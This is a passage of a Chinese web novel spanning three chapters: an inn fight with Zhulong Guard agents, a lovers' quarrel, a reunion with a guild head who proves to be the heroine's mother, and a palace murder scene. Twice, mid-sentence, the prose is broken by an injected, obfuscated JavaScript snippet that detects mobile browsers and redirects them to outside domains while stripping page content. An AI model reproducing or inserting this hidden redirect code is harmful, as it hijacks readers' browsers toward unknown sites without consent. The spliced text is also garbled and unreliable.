这四人正是韩濯一行。 “总算甩掉他们了,真真阴魂不散,不知什么时候又要纠缠上来,我说殿下,我之前可没料到跟着你们脑袋得绑裤腰带上啊,你得加钱。” “行了三三,”韩濯道:“少不了你的,我们还好好休整一下,再想对策吧。” 说着,她将那鼓鼓囊囊的一包散开,里面装的不是什么断臂残肢,倒是几块玄铁做的腰牌。 “阿瑛,你瞧一瞧。” 宋青瑛拾起腰牌,挨个细看。 他们一路砍一路藏,身上这身玄衣还是今晨那些追兵身上扒来的,追兵身上乱七八糟的身份凭证也被韩濯搜罗进了包袱里,混着换下来的旧衣,瞧起来真像砍了谁的头,效果出奇得好。 “烛龙卫分‘琴’,‘瑟’,‘琵’,‘琶’四队,分工不尽相同,我们运气不错,撞上的是‘琴’,这些人专司情报打探,多是江湖中招募的三教九流之辈,功夫未必十分高,因此能全身而退,”宋青瑛道:“这些人成员之间多以轻纱黑布蒙面,为了避免江湖之间私人纷争带进烛龙卫,相互之间也未必认识,几乎全是独行侠,故不容易暴露身份,假扮起来也最为容易,看来我们撞了大运。” “谁要这种大运?”李三三接过一个刻着“琴”字的腰牌,和韩濯他们一起系在腰上:“真要撞大运,我宁愿天上掉下个狗头金把我砸残。” 韩濯笑了一声,看向宋青瑛,注意到了什么:“阿瑛,好像被雨冲得褪了些,阿信,劳烦帮殿下补一补。” 阿信乖乖“嗯”了一声,从怀中掏出了一堆瓶瓶罐罐。 为了隐藏身份,之前几人都乔装打扮了一番,阿信的易容手艺十分了得,在他手下,韩濯贴了胡子,摇身一变老了整十岁,李三三长了半尺高,宋青瑛则恢复了男儿身,另外将额头最显眼的那点朱砂藏住了。 时间有限,阿信也做不了太多,他盯着韩濯的脸瞧了瞧道:“司马,你的胡子也要掉了。” “嘘!”韩濯道:“在外莫叫我司马,你先给殿下遮一遮,一会儿再帮我。” 李三三脱了鞋,在地板上甩了甩,水珠乱溅,她呆呆看着窗,轻轻叹了口气。 韩濯在她身边坐了下来,奔波一天累得够呛,也直着眼睛盯着阿信往宋青瑛脸上拍白的黄的膏体,开口道:“没事,吴钩和张兄那边人手比我们多多了,都是个顶个的好手,不会有问题。” “谁想他们了?”李三三撇撇嘴道:“我就是觉得,毕竟鱼符还在他们手上,怎么想都是比我们大的靶子,再说了,万一殿下给的半块鱼符调不动怎么办?” 离开灌州时一行人闹出的动静不能说不大,险些被追兵冲散,之后吴钩和离开灌州时前来支援的张大成与韩濯这边兵分两路,临行之前宋青瑛便将从西京带回来的半块鱼符交予吴钩,请他转去雁关调几队韩家军回京支援,以备不时之需。 想到这儿,韩濯忍不住又往宋青瑛那里看了一眼。 他到底是从何处辗转得来韩胤的半块鱼符?想来韩胤已经入京,和嫂嫂及侄女仍生死未卜,可问起他是否面见英武侯,宋青瑛却只是摇头,竟也不清楚韩胤如今处境,再往深处问他又讳莫如深。 这小孩辗转西京蜀地多次,□□白道比她吃得开,该不会卷进西京什么了不得的势力中了吧。 韩濯一边这么想着,一边开口道:“吴钩兄弟本来就是韩家军里说得上话的,鱼符虽只有半块,理应和皇上的那一块合并调军,可现下也顾不得了,韩家军都是忠良之后,与韩家牵绊深,瞧过侯爷的鱼符,应知此事不假,放心吧,调得动的。” 宋青瑛听了此话,心头却一跳,开口道:“清之,此后你要小心,我忘了一件事......” “什么事?” 韩濯此问刚出,楼下却“咚”地一声巨响,一阵喧嚷之声涌了进来。 阿信没提防手腕一抖,一滴浅红的墨滴砸在了宋青瑛的手上。 “有人来了!” 53. 血溅驿店 宋青瑛戳破窗纸,小心向外瞧去。 “二,四,六……一共十个,都是烛龙卫。” 众人听闻,都心里一紧,韩濯心跳也骤然快了起来,她定了定神,冷静道:“或许只是路过住店,未必是冲我们而来。” 韩濯一番话刚说完,为首的烛龙卫瞥见墙上贴的告示,上面画着两人,一人眉目舒朗,俊秀非常,一个容貌昳丽,额间一点红痣,正是韩濯和宋青瑛。 方才店内未燃灯,什么都糊成一片瞧不分明,韩濯还真没发现他二人的通缉令大大方方贴在客栈里,而她竟然带着众人正大光明地在这儿下榻! 李三三对韩濯怒目而视,韩濯挠了挠脸,轻声道:“灯下黑灯下黑,说不定更安全些,嘿嘿。” 再说了你不也没瞧见吗? 后半句韩濯没敢说。 宋青瑛听见这几声傻笑,嘴角抽了抽。 那烛龙卫对店小二道:“看来不必拿画像给你看了,真没瞧见这两人行踪?” 店小二赔笑着摇摇头:“哪能呢,我们可是正经做生意的,若真遇着,自然会立即通禀军爷,借我两百个胆子也不敢窝藏啊。” 烛龙卫大笑几声,道:“不是我疑你,只是你这店在去往西京的要道处,这两个贼子穷凶极恶,狼子野心,我们这底下的人不得不谨慎些。” 众人微微安下心来,可手还紧紧握在武器上,未曾挪动分毫。 烛龙卫对他们的行踪了如指掌,甚至知道他们入京走的是哪一条路,看来行踪还是传了出去。 下回应当把尸体处理好才行,韩濯默默想道。 为首的烛龙卫整了整衣衫,与其他人一同扯了一张凳子大喇喇坐了下来:“两斤羊肉面饼。” 店小二诺诺应是,刚要转头,却又被叫住了。 “你手上这面要送到哪去?” 韩濯瞳孔骤缩,回首下意识朝宋青瑛那边看去,低声道:“大家戴上幕篱。” 店小二点头哈腰回道:“是送给方才来住店的几位军爷。” “当兵的?” “和几位应当是同路,现下怕是已经歇息了……诶,军爷,军爷!” 那烛龙卫竟然大踏步朝韩濯那件屋走去! 韩濯退回屋内,朝阿信使了个眼色,阿信了然,将一堆乱七八糟的瓶瓶罐罐收入怀中。 咚,咚…… 那人上楼的脚步沉重非常,李三三忍不住咽了咽口水,宋青瑛环顾四周,把剩下的几块腰牌并着包裹一脚踢进床底。 脚步声在房门前停了下来,众人与烛龙卫只隔了一层门板,几乎能听见对方粗重的呼吸。 下一秒“砰!”地一声,房门豁然大开。 楼下的烛龙卫纷纷剑指上方:那洞开的房门处立着一高挑的玄衣人,头戴幕篱,看不清面孔和神色,却无端散发出一阵戾气。 是韩濯亲自踢开了房门。 “大半夜的何人喧哗?” 门口的烛龙卫刚刚险些被门板拍上鼻子,多亏动作快多退了几步才幸免于难,闻此质问不由气得七窍生烟,拔刀骂道:“你老子!” 韩濯抽刀接了一招,未尝后退一步,稳稳架住了,那人自忖自己力气不小,惊了一瞬,暗道此人功夫不错,开口道:“你是谁!” 韩濯低声笑道:“原是自己人,何故兵戎相见?”说着率先收刀入鞘。 那人上下打量他一番,余光又扫到韩濯身上挂的那块腰牌,嘲弄道:“‘琴’?” 韩濯颔首,矜持道:“阁下是?” 那人将腰牌一递,同样是冷硬的黑铁制成,花纹与韩濯手中的别无二致,只是上面的字是“琵”,由隶书刻就。 “谁跟你们琴部是自己人?”那人冷哼一声道:“不过是跑江湖的泥腿子来凑数的罢了,贩夫走卒之辈,竟然也敢打着殿下的旗号耍威风?” 宋青瑛说过,“琵琶”两部里面都是烛龙卫下的刺客及死士,前者便是刺客。 韩濯冷哼一声道:“‘打着殿下的旗号’?,在下还不稀罕,不过做点事换些酒钱罢了,为别人卖命这种美事还是留给阁下吧。” 说着便要关门。 那人却抬起一只脚拦在门槛处,伸手便要摘韩濯的幕篱。 韩濯偏头避开,一脚踢上他扒住房门的胳膊,那人反应倒快,迅速撤走了手臂,韩濯这一下踢在了门板上,激起灰尘一片。 “阁下这样不地道吧。”韩濯低声道:“为何不各退一步,两相安好,我并不想与人结怨。” “你们将这幕篱摘去。” 宋青瑛走上前道:“阁下莫要为难我们,琴部在外行动皆以物掩面,从不用真容示人,你叫我们摘下去岂非强人所难?” 那人扫了宋青瑛一眼,大声道:“怎么,他们摘得,你们就摘不得?” 说着,朝楼下一指。 宋青瑛皱了皱眉头:“他们都是‘琴’?” 那人哈哈大笑道:“正是。” 韩濯朝楼下看去,见他们的确全露着脸,长得也是千奇百怪,但神色疲倦,举着兵器也松松垮垮的,贼眉鼠眼左顾右盼的大有人在。 看来一个个都消极怠工,迫于这大块头的淫威不得不听从于他。 韩濯不忘保持人设,哼了一声道:“软骨头。” “就是不摘,你能奈我何?” 烛龙卫眼睛一眯:“不摘?那你们便是心里有鬼了!” 随即他大喝一声,楼下几个‘琴’也一股脑顺着楼梯涌了上来,店小二急得团团转:“诸位爷,别在小的店内打呀,有什么事好好商量!” “琵”冷声道:“我烛龙卫从蜀州到西京追逐歹人一路,昨日几个弟兄不幸罹难,还被人盗取腰牌衣物,想是假扮成烛龙卫浑水摸鱼,诸位不肯脱下幕篱让我查验,就休怪我不客气了。” 说着率先抽刀逼上前去,身后几个‘琴’也跟着涌进屋内,一时间屋内皆是铁器之声。 韩濯四人被围在一处,背对背与众人对峙,韩濯高声道:“你怀疑我们是歹人假扮,如今我们却也疑心你!我们琴部搜集情报,消息要比你等莽夫灵通得多,我还打探到歹人中有一下属身材魁梧,面色黑黄,怕不就是你贼喊捉贼!烛龙卫谁人不知琴部为避免江湖争端搅扰,亦为打探情报之便而从不以真面容示人,这一点连殿下都允准,如今你自作主张逼迫我琴部弟兄,难道是对殿下的话不当回事?还是说你本身就是歹人浑水摸鱼?诸位琴部弟兄,莫要被这厮诓骗了去!” 众人早就对这琵部烛龙卫心生不满,听了韩濯这一番话似乎对琴部了解甚深,顿觉她句句在理,他们舞刀弄枪并非长项,被硬拉过来本来就有些消极怠战,韩濯一番话毕,他们手中兵刃不由得松了松,面面相觑犹疑不定起来。 那“琵”见此勃然大怒,大骂道:“你含血喷人,颠倒黑白!你们这些蠢货还真听她的话!” 说着欺身上前,朝韩濯砍去。 韩濯一闪身躲开,笑道:“狗急跳墙!你有什么凭证?” 那人见周围的“琴”左右摇摆,没有一个动手,急道:“我有公文在手......”说着便要将手伸入怀中取出。 韩濯没给他机会,抽出刀迎面而上,银光一闪,以一个及其刁钻的角度刺向他双目,竟是以刀做枪,逼他不得不抬手招架。 李三三在暗处小心观察四周异动,不妨手心被什么攥住了,吓得她一抬头,却是宋青瑛。 宋青瑛目光闪烁,在她手心写下几个字。 李三三初时疑惑,待宋青瑛写完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045841|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿时了然,扯了扯嘴角,忍不住露出狐狸般的笑容来:“小菜一碟。” 韩濯的功夫以灵活取胜,如今屋内狭小,施展不开拳脚,仍与这烛龙卫打了个平手,虽隐隐站在上风,想快速取胜却也并不容易,她右腿一扫,逼得烛龙卫向旁边退了一步,让出了门口的缺口,便飞身一跃,瞬间立在了门外的栏杆上,居高临下对气喘吁吁的烛龙卫道:“老贼!莫要打坏人家做生意的地方,出去打!” 说着便足尖轻点,在众人目瞪口呆之下飞身下楼,跳到了客栈之外,大雨倾盆,她提刀立在其中仿若罗刹。 “不敢么!” 清朗的声音伴着闷雷响起,那烛龙卫本就心高气傲,哪里受得激,气急败坏地跟了出去,李三三紧随其后,道:“我来助你!” 那烛龙卫听出这是个姑娘,刚要破口骂点不干净的,没防备背后,就被李三三猝不及防抓住了脖颈上的穴位,似乎是轻轻拍了一下,可他登时浑身一激灵,从后心泛出一阵麻痒来,瞬时暗中叫糟。 “该不会是什么暗器?”他心里打怵,却未表现出来,就在他愣神的几秒钟内,李三三似乎又在他胸口和肩胛处踢了几脚,随后飘飘然落地藏到韩濯背后,笑嘻嘻道:“真有意思,也教我过了把瘾嘞!” 烛龙卫勃然大怒,攻势瞬间凌厉了起来,可他似乎方才被李三三捏脖子那一下捏闪了筋,一使力眼前花了一下,反倒教韩濯钻了个空子,她也没直取性命,反而挑逗一般将刀背重重拍在他脸上,抽走时划出一道血痕来。 烛龙卫几乎气疯了,瞪着眼睛一边招架一边大吼道:“你们这些废物还不过来帮忙!我有公文在手,你们若袖手旁观,小心我日后禀告殿下,教你们吃不了兜着走!” 几个迟疑的烛龙卫听闻此话调转刀尖,下楼朝韩濯这边奔来。 韩濯高声道:“公文?我也有公文在手,可以请诸位一观,那你的公文又在哪里,敢拿出来吗?” 说着,跳到屋内,左手高举一纸文书,轻轻一抛,落入赶至楼下的宋青瑛怀中。 宋青瑛大声道:“殿下亲批公文在手,谁敢造次!” 众人见状,都纷纷停下脚步,看向那烛龙卫。 烛龙卫大惊,向怀中摸索一番,竟空无一物。 方才那玄衣女在自己胸前肩胛点的那几下,竟然...... 李三三与人硬碰硬的功夫不行,可小偷小摸在江湖中人也排得上名号。 他反应过来,骂道:“你个狗娘养的,竟敢偷......” 韩濯复又转身挥刀对上他,二人又战在一处,烛龙卫心中有气,心浮气躁起来,处处是破绽,很快便被韩濯压制,一刀掀翻在地。 他嘶嘶喘着气,拼尽最后一点力气将身一滚,一枚小箭从袖中射出,韩濯一偏头躲避,那本就不太稳当的幕篱歪下来,露出她面无表情的脸来。 沾着的假胡子被雨水打湿,掉下了半缕,烛龙卫瞳孔骤缩:“你就是......” 一声闷雷炸响,他后半句话没来得及出口,便已身首异处。 韩濯的幕篱已经重新带好,她拎着那烛龙卫的首级,转身丢到了众人面前。 “歹人已伏诛,待我回禀殿下,今日诸位统统有赏。” “但有谁心思不正,要见我真容的,必杀不恕。” 人群一片静默,不知谁先开的头,纷纷收刀入鞘,为韩濯让出一条路来。 道路尽头,宋青瑛隔着幕篱与她对望。 韩濯一颗心骤然松了下来,欲伸手拉住他,却恍然发现自己满手血污,骇人的很。 她刚不动声色把手收了回去,宋青瑛便上前一步,紧紧握住了她的:“没事吧。” 韩濯被遮住的面孔浮起笑意来:“易如反掌。” 54. 谓我何求 午时,西京城内。 因着从那烛龙卫处偷天换日来的公文,韩濯这一路可谓畅通无阻,另有那九个琴部在侧,进城时并未招致怀疑。 “听闻太子病重,到底是不是真的?” “当然不是,兄弟阋墙这事自古以来还少见么?如今这形势,长个脑子的都不会站太子。” “可那永王行事也……” “诶,诸公慎言啊,小店做点买卖也不容易。”掌柜的一边憨笑着高声提醒一边努了努嘴,只见墙上挂着一块粗糙的木牌,上面用潦草的笔法写着:勿谈国事。 那几个带着草帽的汉子打了个哈哈,摆摆手住了话头,又换话题侃大山去了。 茶馆一层坐着两个黑衣女子,皆头戴斗笠,以纱遮面,看不清面容,其中一个听老板开口,轻轻笑了一下。 另一个一言不发,把玩着手中茶杯,教它在桌上滴溜溜地转。 “喂,你到底有什么打算?” 那一言不发的女子回过神来,同样低声道:“能有什么打算,走一步看一步,先等吴钩那边消息。” 李三三见韩濯如此做派,恨铁不成钢从牙缝里低声道:“你没打算也就罢了,就这么放任你老婆在西京城到处跑?我可告诉你,这西京可四处都贴着你们俩的……” 韩濯不耐烦地摆摆手:“他既然有正事做,我为何偏要缠着他?更何况生意上的事情有时外人不便了解。” 李三三声音都没压下去:“外人!?” “不是,”韩濯解释道:“你小声些!我不是这个意思,只是我们虽是夫妻,却未必要事事都毫无保留,我早就看出来他做的生意里面牵扯甚深,不知牵涉到多少紧要人物,他不愿讲,我又何苦逼问,再说你可想过他接触过什么人,才有机会得那将军印?” 李三三摸了摸鼻子:“那你也太淡定了些。” 韩濯笑了一声:“他的性子如此,能说的便都说了,不会等我去问。若是不能说的定然连提都不提,我何苦去讨人嫌?” “怎么就讨人嫌?他说不定巴不得你问,”李三三道:“你这人真奇怪,哪有这么做夫妻的?” 韩濯茫然了一瞬:“什么?” 李三三给自己倒了一杯茶,润了润嗓子:“我问你,你喜不喜欢殿下?” 韩濯利索答道:“喜欢啊,这还用问么?” 李三三上下扫了韩濯几遍,突然觉得她这一身女装毫不突兀,英气得很,甚至要顺眼多了,想开口训人的心思都少了些,她叹了口气,循循善诱道:“你喜欢殿下什么?” 韩濯莫名其妙:“喜欢就是…喜欢啊,殿下头脑聪明心地善良长得又好,喜欢不是很正常,嘶——你能不能正经些?聊这些做什么!” 李三三顿时觉得宋青瑛眼光忒差,喜欢的是一根不进油盐的木头,她道:“我可没看出你多喜欢他。” “怎么?”韩濯嘲道:“我应该在他出门办事时哭着喊着教他别走,有事没事送999朵玫瑰花,捏着他的下巴说‘依我一次,命都给你’?” 李三三一口茶差点喷出来:“你说什么乱七八糟的,话本子看多了吧!” 韩濯道:“你才话本看多了,歇歇吧,我们俩挺好的。” “那殿下若是喜欢上了别人呢?” 韩濯沉默了。 李三三期待道:“质问?愤怒?伤心欲绝?” 韩濯叹了口气:“那也正常,他年纪小心思没定下来,哪日他若是真喜欢上别人,我虽然心里不会舒服,但大家好聚好散,也没什么可矫情的……” “天啊,”李三三喃喃道:“你真是人么?” “你怎么骂起人了?别过分啊。” 李三三摇摇头道:“殿下真是倒霉,媚眼抛给瞎子看。” “什么意思?” “殿下大了,你对他的态度听起来却总像哄小孩……算了,”李三三道:“和你说不明白,你慢慢悟吧。” 韩濯也没心思和李三三掰扯,眼下危急存亡之秋,哪里有闲心谈感情问题,她甩了甩头,将脑子里被李三三勾起的情绪按了下去。 “诶?” 韩濯闻声抬头,见店门口跨进一玄衣人,和他们一般装扮,是宋青瑛回来了。 韩濯将座位朝边上挪了挪,等宋青瑛坐下她才低声道:“这么快?” 李三三刚才和韩濯聊感情问题谈得热火朝天,刚聊完就赶上正主回来,此番颇为心虚,找个借口溜回房间,只留下他们二人。 “回房说罢。”宋青瑛的声音有点淡淡的,韩濯说不出来,但的确和平常不同。 宋青瑛回屋后将幕篱摘下,露出那张昳丽的脸来,经过阿信处理,他额间朱红已然不在,面容也有了微妙的变化,细看五官,也看不出哪里与曾经不同,可合在一块一眼瞧去,就是完全变了个样子,韩濯盯着瞧了一会儿,暗道神奇。 “她要见你。”宋青瑛没注意到韩濯的目光,一面整理包袱一边道。 韩濯茫然:“她?” 宋青瑛抬头对上韩濯的目光:“清之不是一直奇怪我的生意为何能这么快做起来?” 韩濯道:“额……的确好奇,但称不上奇怪吧,说得好像我对你没信心似的。” 宋青瑛牵了牵嘴角:“你对我有信心?” “是啊。”韩濯道:“你的能力我自然信得过。” “那其他的呢,你信得过么?” “什…么?”韩濯觉得奇怪极了,今天到底是什么特殊日子,怎么都这么奇怪。 “我是说…”宋青瑛靠近了些近乎耳语道:“我想和你一生一世,再插不进旁的什么人,你信不信我?” 韩濯松了一口气揉了揉他的头:“信信信,行了行了,亲都亲多少回了还想这个,说正事吧。” 宋青瑛欲言又止,这并不是他期待的承诺,但最终还是闭了嘴,道:“清之可曾听过‘路路通’?” 见韩濯表情茫然,宋青瑛解释道:“在西京,这几乎是想要经商的唯一门路。” 据说开创路路通之人做药材生意起家,随后发展壮大,名义上是商会,实则垄断了整个西京大型的往来贸易,你若想经商,就必定要在路路通手下买一条门路,宋青瑛当初自然也不例外。 “不对。”韩濯听着宋青瑛的解释,突然拉住了他的手:“买门路,你哪里的本钱?” 宋青瑛才终于露出一点笑来:“我身为公主,天家饭总不会太寒碜。” “阿瑛,你说实话。”韩濯道:“你非要和那胡商合作,是谁授意的?” 宋青瑛的避开了韩濯的目光。 “我不傻。”韩濯冷笑道:“我虽不懂经商之道,但你做的生意实在不小,天下做丝锻生意的那么多,路路通为何偏偏为你开口子?天家食邑未必买得下。更何况你随我来灌州后,月例仍记在公主府账上,赵妈妈一直看顾打点,未曾来信有大量支出。” 宋青瑛道:“你之前从未过问我这些,为何今日才想起追问?” “我以为你有分寸……阿瑛你说清楚,他们是不是知道你是长宁公主?” 宋青瑛颔首,像是默认了。 “你疯了!”韩濯声音里带着未爆发的威压,引得宋青瑛心头一点慌张蔓延开来。 “我就知道,这种手眼通天的商会怎可能安分守己,说不定野心蔓延到了朝堂之上,这是一头随时会咬人的疯狗,你怎能随意和他们搅在一起?” “我心中有数!” “你有数个屁!”韩濯没提防爆了句粗口:“北方各部与大齐正在交战,你当初要与胡商做交易我就觉得不对,没成想……” 这种情况下,依着宋青瑛以往的性子自然要随着韩濯的话顺毛捋,可或许是无意间听到李三三和韩濯的谈话,他的心彻底乱成一片,韩濯越强硬,他越想对着干。 凭什么自己一直要在她身边做一个被人照顾随意敷衍的小孩? 宋青瑛道:“你既然不懂经商,又凭什么管束我!” 这还是宋青瑛第一回在韩濯面前露出这种激烈的情绪,韩濯被激得脾气一下子上来了:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053993|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我不管!你爱和谁做生意就和谁做生意,爱和谁好和谁好!” 宋青瑛听到最后一句话差点哭出来,扯住了刚要转身出门的韩濯:“你混蛋!” 韩濯被骂笑了:“你说谁?” 宋青瑛憋得满脸通红,底气不足道:“你!” 声音小了一倍。 韩濯看着眼圈通红的长宁公主,觉得自己说不准真是斯文败类,她逼近了宋青瑛的脸:“哪里混蛋,殿下说说看……” 宋青瑛连连后退,不知为何心脏乱跳:“你…你明明知道我心里没装过别人,你还总拿那样的话来激我……” 他被韩濯逼到了床边,偏过头深吸一口气,几乎是喊道:“你根本不信任我!只当我是小孩!” 韩濯被他吼得一顿,回想起李三三的话,突然明白了他这态度究竟是怎么回事:“殿下没事就是这么和李三三倒苦水的?” 宋青瑛大窘:“我没有!唔……” 韩濯一把将宋青瑛按在了床榻上,也没什么章法,上去就啃。 宋青瑛嘴被堵住了,惊了一下,随即挣扎起来:“你放开!” 韩濯眼睛里燃着一点火气,伸手就解宋青瑛衣带:“我还当殿下因着什么不满,原是这般无厘头的事,臣也不在乎那些虚礼,既然你说你不是小孩,不如就生米煮成熟饭,痛快一点,还磨叽些什么!” 她不得章法,只会压着人乱啃,宋青瑛舍不得推开,又气得够呛。 她自己既然都不把这档子事当回事,那现在对他这么做,和安抚小孩也没什么区别了。 宋青瑛似乎安静了下来,韩濯稍稍平静了一点,刚要思考一下下一步该怎么办,肩膀便传来一阵钝痛。 她还没来得及骂,就感觉到自己压着的人抖了起来。 韩濯吓了一跳,赶紧退开,就见宋青瑛衣衫不整,大好男儿躺在塌上哭得梨花带雨。 韩濯怕极了长宁公主的金豆子,宋青瑛小时候哭她就忍不住心软,长大了更是威力无穷,韩濯直接缴械投降:“诶……你也不吃亏是不是,再说我还没干啥呢,殿下?殿下……” 宋青瑛爬了起来,拽住韩濯的衣领哭道:“你和你那岷江堰过去吧!” 韩濯目瞪口呆。 哪里来的这种作天作地的小妖精? 韩濯缺根弦的脑袋勉强转了起来,自觉现在这种情况应当哄人,她拍了拍宋青瑛的肩膀:“那个……殿下?” 宋青瑛扭过了头。 “是臣不对,你大人有大量别和臣一般计较,我信你的。” …… “要不你再咬几口?” ……“疼么?” 韩濯没忍住笑了:“疼啊,殿下牙口不错,是个有福气的。” 宋青瑛凑过去,抱住了韩濯的腰,闷闷道:“我真的心中有数的,那堂主原本和永王一直密切交易……” “什么?”韩濯吓了一跳,这叫有分寸?眼下永王要杀他们俩,这行为岂不是耗子在猫面前蹦迪? “原本!”宋青瑛把韩濯拽了回来:“如今她要见你,这件事我也可以和你讲了,永王为了牵制路路通,给堂主下了傀儡丹。” “什么……东西?” 傀儡丹,本是羌族外部不外传的秘药,最早为控制羯族为奴隶所用,中此毒者须每月服用一颗延续性命,否则便七窍流血而亡。 “堂主教我与那羯族人交易,也是为了得到傀儡丹解药的门路,那解药中原没有记载,只能在如今翻身为主的石勒国找到。” 羯族以战力强悍著称,可他们生来凶残,甚至……吃人! “羯族?”韩濯道:“殿下不可涉险,羯族生性残暴,未开化者甚众,德不备智不全,和他们交易,岂不是行走于刀尖之上?” “那个羯族商人自小丧失双亲,跟着各国商队行走南北,不在族群中熏染,和普通胡商无异。” 韩濯也知道多说无益,没再追问下去,沉默片刻叹了口气道:“何时何地?” “今夜亥时,烟雨楼。” 55. 异世故人 烟雨楼。 如今西京城人人自危,街头巷尾都略显寥落,百草巷也不例外,韩濯路过几个蒙面江湖客时,谨慎地拉低了自己的幕篱。 她和宋青瑛皆是一身玄衣,黑纱遮面,混迹在这些江湖人中毫不突兀。 “终归是比上回低调不少。”韩濯暗道。 “我就在楼下等你。”宋青瑛轻声说道:“若有意外,摔杯为号。” 韩濯点了点头,要走之前想起来了什么:“那你呢?这里人多眼杂,万一……” 宋青瑛抿了抿嘴,从怀中掏出一支哨子来。 韩濯看了一眼,讶然道:“两年你一直带着?” 宋青瑛没解释,催促道:“快去吧。” 韩濯不再言语,抬脚踏入楼内。 烟雨楼并无变化,蒙着粗糙白布的窗户和吱呀作响的木椅,愈发显得这里像极了鬼楼,韩濯方进门,看见正对门口的坐堂刀匠,不由得微微一顿。 是了,亥时坐堂的,自然还是那冯一刀。 她仍然和上回一样,微微眯着眼似乎要打盹儿,韩濯走到近前时,才微微掀开眼皮。 冯一刀似乎轻轻笑了笑,用滑溜溜的声音道:“稀客啊……” 韩濯微微皱了皱眉,她自觉自己一身装扮与上回大不相同,很难认得出来,料想这路路通手眼通天,自己和宋青瑛说不准刚进了百草巷便被盯上了,说不定,这烟雨楼也是路路通的产业。 “她三楼尽头的房间等你,不用人带你去吧?” 韩濯颔首,微微朝冯一刀行了一礼,便转身沿着楼梯朝三楼走去。 伴着楼梯吱呀作响的声音,她心头百转。堂主要见自己,是为了一同对付永王?还是另有其他打算?那堂主倒戈之心是否坚决尚不可知,但路路通若在永王手下绝非好事,没人想和钱过不去,可堂主性命捏在永王手里,自己空长一根舌头也未必能说得动这帮经商的老狐狸。 方到了门口,便见两个垂双髻的少女在门口候着,见了韩濯笑靥如花,脆生生朝屋内道:“堂主,人来啦!” 屋内一略显沙哑的女声道:“你们都退下吧。” 韩濯觉得这声音莫名熟悉。 那两个少女嘻嘻哈哈地跑了,丝毫不见什么礼仪讲究,一蹦一跳将楼梯踩得咚咚响。临走时对韩濯道:“进去呀!” 韩濯整理好心情,将话术在嘴边滚了一番,刚要敲,那两门便豁然大开。 屋内空间不大,似乎是书房,只有些书架桌案之类,正对大门的书架前立着一高挑瘦削的女子,头发简单挽起,看不清面容。 韩濯一愣,斜眼瞧了瞧门边,发现轴承之处的机簧,当下了然这门扇应是机关,便也并未忧惧,抬脚进屋,又伸手将两扇门关好,规矩地行了一礼:“晚辈见过堂主。” 那人终于转过了身。 韩濯抬头之时,仿佛呼吸都停止了。 这人的面容,她再过二十年都不会忘却,斜飞上扬的眉眼锐利如鹰,薄唇微微绷紧下垂,显得有些不近人情的严厉,可和她记忆不同,面前这人比之她记忆中年岁要大了不少,这样的她,韩濯从未见过。 那一堆已经组织好的语言堵在喉头,竟是一句话也说不出,未来得及反应过来,面颊便已一片濡湿。 堂主看见韩濯怔怔看着自己,竟留下两行热泪,这倒是大大出乎了她的意料,忍不住挑了挑眉。 韩濯艰难地张了张嘴,吐出的字节如此陌生,这年月隔了太久,连她都忘了这二字上次脱口而出时是什么时候了。 “妈妈……” / “回永王殿下,没…没气了。” 永王挥了挥手,身旁的侍卫便将战战兢兢的太医带了下去。 “本王从前未曾料到,国舅还真下得去手。” 王公辅跪伏在太子殿内,闻言也未曾抬头,永王看着此人这副模样,愈发觉得他像一只摇尾乞怜的狗。 “臣只为自保罢了,不知殿下对这份投名状可还满意?” 王公辅身侧,太子宋乐湛的了无声息地躺在冰凉的地板上,两眼未闭,似乎仍有万千个不甘心,嘴角一缕细细的黑血将青白的面容分割开来,甚是可怖。 永王没有立刻答话,一片寂静间,突然庭内传来刀刃之音和一阵惨叫,鲜血泼洒在地的声音清晰可闻。 方才那个太医终究是没活着出门。 王公辅微不可察地一抖。 “有趣,对亲侄子都下得去手,竟然也怕见血?” 王公辅俯着身子:“臣不过是一介随波逐流的庸才,怎不知如今跟着永王殿下才是明智之举?更何况……臣还有个不情之请。” “讲来听一听?” 王公辅磕了两个头,道:“臣自幼丧母,与长姊甚是亲厚,臣请殿下赶她出宫便好,留她一条性命……” “你这为祸朝政的孽障!” 庭中传来一声女子的怒吼,随即围了一院的侍卫闻声而动,一时间跑动声和刀剑声此起彼伏叫错,不绝于耳。 可那女人似乎疯了一般,跑到了正门前才将将被侍卫擒住,她口中仍在唾骂:“本宫何尝用得着你这黄口小儿网开一面?王公辅!你这不忠不义之辈,竟能做出戕害我儿的勾当,本宫就算做鬼也不会放过你们!” 王公辅没有丝毫触动,对着永王戏谑的脸仍道:“请殿下成全!” 皇后身后仍有几个侍卫押解一怀抱婴孩的妇人,她双目沁泪,却并未低头,只伸手扯了扯皇后的袖子,并未发一言。” 呼吸之间,皇后已然被布巾堵住了嘴,一双圆目却仍狠狠瞪视着两人,她自小养尊处优,如今已年过半百之龄受如此侮辱,实在羞愤欲绝,可滔天的悲愤与怒意勉强撑着她的脊梁,没软下半分去。 “也罢。”永王走到了两个女人近前,低头望着她们的脸:“本王既然叫过她一声母后,此番贬出宫去,任她做个贫民乞丐,也算了却一桩恩义,至于她……” 永王看着太子妃,这个女人自始至终未发一言,可眼底似有熊熊火光燃烧,丝毫不惧地接过自己的目光,怀中婴儿仍在酣睡,似乎并不知晓自己的母亲如今身处怎样的境地之中。 这是个硬骨头,永王暗暗想道。 “杀了。” “殿下!”王公辅叫住了永王:“太子妃她……” 